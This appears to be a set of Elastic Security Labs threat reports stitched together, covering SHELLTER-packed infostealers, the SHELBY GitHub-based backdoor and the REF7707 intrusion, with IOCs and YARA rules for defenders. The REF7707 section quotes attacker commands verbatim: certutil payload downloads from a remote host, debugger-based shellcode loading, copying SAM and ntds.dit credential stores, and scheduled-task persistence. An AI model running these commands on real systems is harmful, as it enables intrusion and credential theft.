🚨Shellter Elite v11.0 up for sale on a popular forum

“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.

ARECHCLIENT2

Starting around May, we observed campaigns targeting content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (.rar), which contain legitimate promotional content packaged with a SHELLTER-protected executable.

This underlying executable shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see samples with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.

The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to 185.156.72[.]80:15847, which was previously identified by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.

RHADAMANTHYS

These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.

One of the files that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.

This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.

SHELLTER Unpacker

Elastic Security Labs is releasing a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.

As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.

For safety reasons, this tool should only be executed within an isolated virtual machine. During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.

Conclusion

Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.

We expect:

• This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.
• The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
  • Any new tooling will remain a target for malicious actors.
• More advanced threats will analyze these samples and incorporate features into their toolsets.

Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Collection
• Defense Evasion
• Execution
• Initial Access
• Resource Development

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Application Layer Protocol
• Data from Local System
• Process Injection: Thread Execution Hijacking
• Obfuscated Files or Information: Junk Code Insertion
• Content Injection
• Obtain Capabilities

Mitigating SHELLTER

Prevention

• Shellcode from Unusual Microsoft Signed Module
• Unbacked Shellcode from Unsigned Module
• Shellcode Execution from Low Reputation Module
• Potential Evasion via Invalid Code Signature
• Thread Suspension from Unbacked Memory
• Suspicious Executable Memory Mapping

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_Shellter {  
    meta:  
        author = "Elastic Security"  
        creation_date = "2025-06-30"  
        last_modified = "2025-06-30"  
        os = "Windows"  
        arch = "x86"  
        category_type = "Trojan"  
        family = "Shellter"  
        threat_name = "Windows.Trojan.Shellter"  
        reference_sample = "c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30"

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://x.com/DarkWebInformer/status/1923472392157790700
• https://www.shellterproject.com/shellter-editions-feature-comparison-table/
• https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf
• https://github.com/elastic/labs-releases/tree/main/tools/shellter

• The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands
• The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability
• Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions

Summary

As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.

The phishing email relies on the victim opening the attached Details.zip file and executing the contained binary, JPerf-3.0.0.exe. This binary utilizes the script-driven installation system, Inno setup, that contains the malicious application:

• %AppData%\Local\Microsoft\HTTPApi:
  • HTTPApi.dll (SHELBYC2)
  • HTTPService.dll (SHELBYLOADER)
  • Microsoft.Http.Api.exe
  • Microsoft.Http.Api.exe.config

The installed Microsoft.Http.Api.exe is a benign .NET executable. Its primary purpose is to side-load the malicious HTTPService.dll. Once loaded, HTTPService.dll acts as the loader, initiating communication with GitHub for its command-and-control (C2).

The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, HTTPApi.dll. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.

As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.

SHELBYLOADER code analysis

Obfuscation

Both the loader and backdoor are obfuscated with the open-source tool Obfuscar, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage de4dot with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters --strtyp ( the type of string decrypter, in our case delegate) and --strtok ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.

Sandbox detection

SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:

Technique 1: WMI Query for System Information

The malware executes a WMI query (Select * from Win32_ComputerSystem) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as "VMware" or "VirtualBox."

Technique 2: Process Enumeration

The malware scans the running processes for known virtualization-related services, including:

• vmsrvc
• vmtools
• xenservice
• vboxservice
• vboxtray

The presence of these processes tells the malware that it may be running in a virtualized environment.

Technique 3: File System Checks

The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:

• C:\Windows\System32\drivers\VBoxMouse.sys
• C:\Windows\System32\drivers\VBoxGuest.sys
• C:\Windows\System32\drivers\vmhgfs.sys
• C:\Windows\System32\drivers\vmci.sys

Technique 4: Disk Size Analysis

The malware checks the size of the C: volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.

Technique 5: Parent Process Verification

The malware examines its parent process. If the parent process is not explorer.exe, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.

Technique 6: Sleep Time Deviation Detection

The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.

Technique 7: WMI Query for Video Controller

The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: virtual or vmware or vbox.

Core Functionality

The malware's loader code begins by initializing several variables within its main class constructor. These variables include:

• A GitHub account name
• A private repository name
• A Personal Access Token (PAT) for authenticating and accessing the repository

Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.

One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.

This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:

This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.

The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( / ):

• The number of processors available on the system.
• The name of the machine (hostname).
• The domain name associated with the user account.
• The username of the currently logged-in user.
• The total number of logical drives present on the system.

A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.

After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named Info.txt. This file stores the following information about the infected system:

• The domain name associated with the user account.
• The username of the currently logged-in user.
• The log of sandbox detection results detailing which techniques succeeded or failed.
• The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.
• The current date and time of the beaconing event

The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.

After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named License.txt (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.

The malware generates an AES key and initialization vector (IV) from the contents of License.txt. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.

It proceeds to decrypt the file HTTPApi.dll, which contains the backdoor payload. After decryption, the malware uses the Assembly.Load method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.

DNS-Based Keying Mechanism

Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV.

First, the malware executes the same anti-sandboxing methods, creating a string of 1 or 0 depending on whether a sandbox is detected for each technique.

For its C2 registration, the malware builds a subdomain under arthurshelby.click with three parts: the first subdomain is a static string (s), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format DomainName\HostName >> Anti-Sandboxing Results >> Persistence Flag encoded in base32.

For example, a complete domain might look like s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click

After that, the malware executes multiple DNS queries to subdomains of arthurshelby.click. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.

The subdomains follow this format:

• The first subdomain is l<index>, where the index corresponds to the order of the DNS calls (e.g., l1, l2, etc.), ensuring the byte sequence is assembled correctly.
• The second subdomain is the unique identifier encoded in Base32.

SHELBYC2 code analysis

The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a Mutex to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string Global\GHS to the unique identifier.

After 65 seconds, the backdoor executes a method that collects the following system information:

• current user identity
• operating system version
• the process ID of the malware
• machine name
• current working directory

Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.

The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word "Vivante" translates to "alive" in French, which reflects the file's role as a heartbeat indicator for the compromised machine.

Next, the malware attempts to download the file Command.txt, which contains a list of commands issued by the operator for execution on the infected system.

If Command.txt contains no commands, the malware checks for commands in another file named Broadcast.txt. Unlike Command.txt, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.

Commands handling table:

Commands in the Command.txt file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.

/download

This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:

• The name of the file stored in the GitHub repository.
• The path where the file will be saved on the infected machine.

/upload

This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.

/dlextract

This command downloads a zip file from the GitHub repository (similar to /download), extracts its contents, and saves them to a specified directory on the machine.

/evoke

This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.

This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:

• The path to an AES-encrypted .NET binary previously downloaded to the infected machine.
• A value used to derive the AES key and IV.

System commands

Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.

Communication

The malware does not use the Git tool in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:

{
  "message": "Commit message",
  "content": "<base64 encoded content>",
  "sha": "<hash>"
}

The malware sets specific HTTP headers for the request, including:

• Accept: application/vnd.github.v3+json
• Content-Type: application/json
• Authorization: token <PAT_token>
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

The request is sent to the GitHub API endpoint, constructed as follows:

https://api.github.com/repos/<owner>/<repo>/contents/<unique identifier>/<file>

The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.

The way the malware is set up means that anyone with the PAT (Personal Access Token) can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.

SHELBY family conclusion

While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach.

We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.

REF8685 campaign analysis

Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis.

The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.

Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT "ARHLRF2SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT "ARHLRF1SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…

This email contains a call to action to address network alarms and a zipped attachment named details.zip. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (JPerf-3.0.0.exe), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.

While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that JPerf-3.0.0.exe (feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a) was included in a separate compressed archive (JPerf-3.0.0.zip)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named Setup.exe with an additional compressed archive (5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c).

Analysis of these files (JPerf-3.0.0.exe and Setup.exe) revealed the use of GitHub for C2 and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (arthurshellby and johnshelllby) used for the REF8685 malware were malicious and have been shut down by Github.

Of note, Arthur and John Shelby are characters in the British crime drama television series Peaky Blinders. The show was in production from 2013 to 2022.

The domain arthurshelby[.]click pointed to 2.56.126[.]151, a Stark Industries (AS44477) hosted server. This VPS hosting provider has been used for proxy services in other large-scale cyber attacks. This server has overlapping resolutions for:

• arthurshelby[.]click
• [REDACTED]telecom[.]digital
• speed-test[.]click
• [REDACTED]airport[.]cloud
• [REDACTED]airport[.]pro

The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.

“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).

[REDACTED]airport[.]cloud resolved to a new server, 2.56.126[.]157, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The 2.56.126[.]157 server, Stark Industries (AS44477) hosted, also hosts [REDACTED]-connect[.]online, [REDACTED] is the airport code for the [REDACTED] International Airport.

The domain [REDACTED]airport[.]cloud has a subdomain portal.[REDACTED]airport[.]cloud that briefly pointed to 2.56.126[.]188 from Jan 23-25, 2025. It then directed traffic to 172.86.68[.]55 until the time of writing.

Banner hash pivots reveal an additional server-domain combo: 195.16.74[.]138, [REDACTED]-meeting[.]online.

The 172.86.68[.].55 server also hosts mail.[REDACTED]tell[.]com, an apparent phishing domain targeting our original victim.

A web login page was hosted at hxxps://portal.[REDACTED]airport[.]cloud/Login (VirusTotal).

We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.

This weaponized internal email was used to re-phish their way onto victim endpoints.

All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.

The Diamond Model of intrusion analysis

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

REF8685 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Initial Access
• Defense Evasion
• Discovery
• Execution
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Reflective Code Loading
• Phishing
• Obfuscated Files or Information
• Command and Scripting Interpreter
• Exfiltration Over C2 Channel

YARA rule

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:

rule Windows_Trojan_ShelbyLoader {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyLoader"
        threat_name = "Windows.Trojan.ShelbyLoader"
        license = "Elastic License v2"

    strings:
        $a0 = "[WARN] Unusual parent process detected: "
        $a1 = "[ERROR] Exception in CheckParentProcess:" fullword
        $a2 = "[INFO] Sandbox Not Detected by CheckParentProcess" fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = "Persist ID: " fullword
        $b3 = "https://api.github.com/repos/" fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyC2"
        threat_name = "Windows.Trojan.ShelbyC2"
        license = "Elastic License v2"

    strings:
        $a0 = "File Uploaded Successfully" fullword
        $a1 = "/dlextract" fullword
        $a2 = "/evoke" fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

Elastic Security Labs has been monitoring a campaign targeting the foreign ministry of a South American nation that has links to other compromises in Southeast Asia. We track this campaign as REF7707.

While the REF7707 campaign is characterized by a well-engineered, highly capable, novel intrusion set, the campaign owners exhibited poor campaign management and inconsistent evasion practices.

The intrusion set utilized by REF7707 includes novel malware families we refer to as FINALDRAFT, GUIDLOADER, and PATHLOADER. We have provided a detailed analysis of their functions and capabilities in the malware analysis report of REF7707 - You've Got Malware: FINALDRAFT Hides in Your Drafts.

Key takeaways

• REF7707 leveraged novel malware against multiple targets
• The FINALDRAFT malware has both a Windows and Linux variant
• REF7707 used an uncommon LOLBin to obtain endpoint execution
• Heavy use of cloud and third-party services for C2
• The attackers used weak operational security that exposed additional malware and infrastructure not used in this campaign

Campaign Overview

In late November 2024, Elastic Security Labs observed a tight cluster of endpoint behavioral alerts occurring at the Foreign Ministry of a South American country. As the investigation continued, we discovered a sprawling campaign and intrusion set that included novel malware, sophisticated targeting, and a mature operating cadence.

While parts of the campaign showed a high level of planning and technical competence, numerous tactical oversights exposed malware pre-production samples, infrastructure, and additional victims.

Campaign layout (the diamond model)

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leveraging Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a — although cluttered — single diamond.

Execution Flow

Primary execution chain

REF7707 was initially identified through Elastic Security telemetry of a South American nation’s Foreign Ministry. We observed a common LOLBin tactic using Microsoft’s certutil application to download files from a remote server and save them locally.

certutil  -urlcache -split -f https://[redacted]/fontdrvhost.exe C:\ProgramData\fontdrvhost.exe

certutil  -urlcache -split -f https://[redacted]/fontdrvhost.rar C:\ProgramData\fontdrvhost.rar

certutil  -urlcache -split -f https://[redacted]/config.ini C:\ProgramData\config.ini

certutil  -urlcache -split -f https://[redacted]/wmsetup.log C:\ProgramData\wmsetup.log

The web server hosting fontdrvhost.exe, fontdrvhost.rar, config.ini, and wmsetup.log was located within the same organization; however, it was not running the Elastic Agent. This was the first lateral movement observed and provided insights about the intrusion. We’ll discuss these files in more detail, but for now, fontdrvhost.exe is a debugging tool, config.ini is a weaponized INI file, and fontdrvhost.rar was not recoverable.

WinrsHost.exe

Windows Remote Management’s Remote Shell plugin (WinrsHost.exe) was used to download the files to this system from an unknown source system on a connected network. The plugin is the client-side process used by Windows Remote Management. It indicates that attackers already possessed valid network credentials and were using them for lateral movement from a previously compromised host in the environment. How these credentials were obtained is unknown; it is possible that the credentials were obtained from the web server hosting the suspicious files.

The attacker downloaded fontdrvhost.exe, fontdrvhost.rar, config.ini, and wmsetup.log to the C:\ProgramData\ directory; from there, the attacker moved to several other Windows endpoints. While we can’t identify all of the exposed credentials, we noted the use of a local administrator account to download these files.

Following the downloads from the web server to the endpoint, we saw a cluster of behavioral rules firing in quick succession.

On six Windows systems, we observed the execution of an unidentified binary (08331f33d196ced23bb568689c950b39ff7734b7461d9501c404e2b1dc298cc1) as a child of Services.exe. This suspicious binary uses a pseudo-randomly assigned file name consisting of six camel case letters with a .exe extension and is located in the C:\Windows\ path (example: C:\Windows\cCZtzzwy.exe). We could not collect this file for analysis, but we infer that this is a variant of PATHLOADER based on the file size (170,495 bytes) and its location. This file was passed between systems using SMB.

FontDrvHost.exe

Once the attacker collected fontdrvhost.exe, fontdrvhost.rar, config.ini, and wmsetup.log, it executed fontdrvhost.exe (cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9) to continue with the intrusion. fontdrvhost.exe is a renamed version of the Windows-signed debugger CDB.exe. Abuse of this binary allowed our attackers to execute malicious shellcode delivered in the config.ini file under the guise of trusted binaries.

CDB is a debugger that is over 15 years old. In researching how often it was submitted with suspicious files to VirusTotal, we see increased activity in 2021 and an aggressive acceleration starting in late 2024.

CDB is a documented LOLBas file, but there hasn’t been much-published research on how it can be abused. Security researcher mrd0x wrote a great analysis of CDB outlining how it can be used to run shellcode, launch executables, run DLLs, execute shell commands, and terminate security solutions (and even an older analysis from 2016 using it as a shellcode runner). While not novel, this is an uncommon attack methodology and could be used with other intrusion metadata to link actors across campaigns.

While config.ini was not collected for analysis, it contained a mechanism through which fontdrvhost.exe loaded shellcode; how it was invoked is similar to FINALDRAFT.

C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o C:\ProgramData\fontdrvhost.exe

• -cf - specifies the path and name of a script file. This script file is executed as soon as the debugger is started
• config.ini - this is the script to be loaded
• -o - debugs all processes launched by the target application

Then fontdrvhost.exe spawned mspaint.exe and injected shellcode into it.

Elastic Security Labs reverse engineers analyzed this shellcode to identify and characterize the FINALDRAFT malware. Finally, fontdrvhost.exe injected additional shellcode into memory (6d79dfb00da88bb20770ffad636c884bad515def4f8e97e9a9d61473297617e3) that was also identified as the FINALDRAFT malware.

As described in the analysis of FINALDRAFT, the malware defaults to mspaint.exe or conhost.exe if no target parameter is provided for an injection-related command.

Connectivity checks

The adversary performed several connectivity tests using the ping.exe command and via PowerShell.

Powershell’s Invoke-WebRequest cmdlet is similar to wget or curl, which pulls down the contents of a web resource. This cmdlet may be used to download tooling from the command line, but that was not the case here. These requests in context with several pings are more likely to be connectivity checks.

graph.microsoft[.]com and login.microsoftonline[.]com are legitimately owned Microsoft sites that serve API and web GUI traffic for Microsoft’s Outlook cloud email service and other Office 365 products.

• ping graph.microsoft[.]com
• ping www.google[.]com
• Powershell Invoke-WebRequest -Uri \"hxxps://google[.]com\
• Powershell Invoke-WebRequest -Uri \"hxxps://graph.microsoft[.]com\" -UseBasicParsing
• Powershell Invoke-WebRequest -Uri \"hxxps://login.microsoftonline[.]com\" -UseBasicParsing

digert.ictnsc[.]com and support.vmphere[.]com were adversary-owned infrastructure.

• ping digert.ictnsc[.]com
• Powershell Invoke-WebRequest -Uri \"hxxps://support.vmphere[.]com\" -UseBasicParsing

We cover more about these network domains in the infrastructure section below.

Reconnaissance / enumeration / credential harvesting

The adversary executed an unknown script called SoftwareDistribution.txt using the diskshadow.exe utility, extracted the SAM, SECURITY, and SYSTEM Registry hives, and copied the Active Directory database (ntds.dit). These materials primarily contain credentials and credential metadata. The adversary used the 7zip utility to compress the results:

diskshadow.exe /s C:\\ProgramData\\SoftwareDistribution.txt

cmd.exe /c copy z:\\Windows\\System32\\config\\SAM C:\\ProgramData\\[redacted].local\\SAM /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SECURITY C:\\ProgramData\\[redacted].local\\SECURITY /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SYSTEM C:\\ProgramData\\[redacted].local\\SYSTEM /y

cmd.exe /c copy z:\\windows\\ntds\\ntds.dit C:\\ProgramData\\[redacted].local\\ntds.dit /y

7za.exe a [redacted].local.7z \"C:\\ProgramData\\[redacted].local\\\"

The adversary also enumerated information about the system and domain:

systeminfo

dnscmd . /EnumZones

net group /domain

C:\\Windows\\system32\\net1 group /domain

quser

reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID

reg query \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\"

reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\"

Persistence

Persistence was achieved using a Scheduled Task that invoked the renamed CDB.exe debugger and the weaponized INI file every minute as SYSTEM. This methodology ensured that FINALDRAFT resided in memory.

schtasks /create /RL HIGHEST /F /tn \"\\Microsoft\\Windows\\AppID\\EPolicyManager\" 
/tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\" 
/sc MINUTE /mo 1 /RU SYSTEM

• schtasks - the Scheduled Task program
• /create - creates a new scheduled task
• /RL HIGHEST - specifies the run level of the job, HIGHEST runs as the highest level of privileges
• /F - suppress warnings
• /tn \\Microsoft\\Windows\\AppID\\EPolicyManager\ - task name, attempting to mirror an authentic looking scheduled task
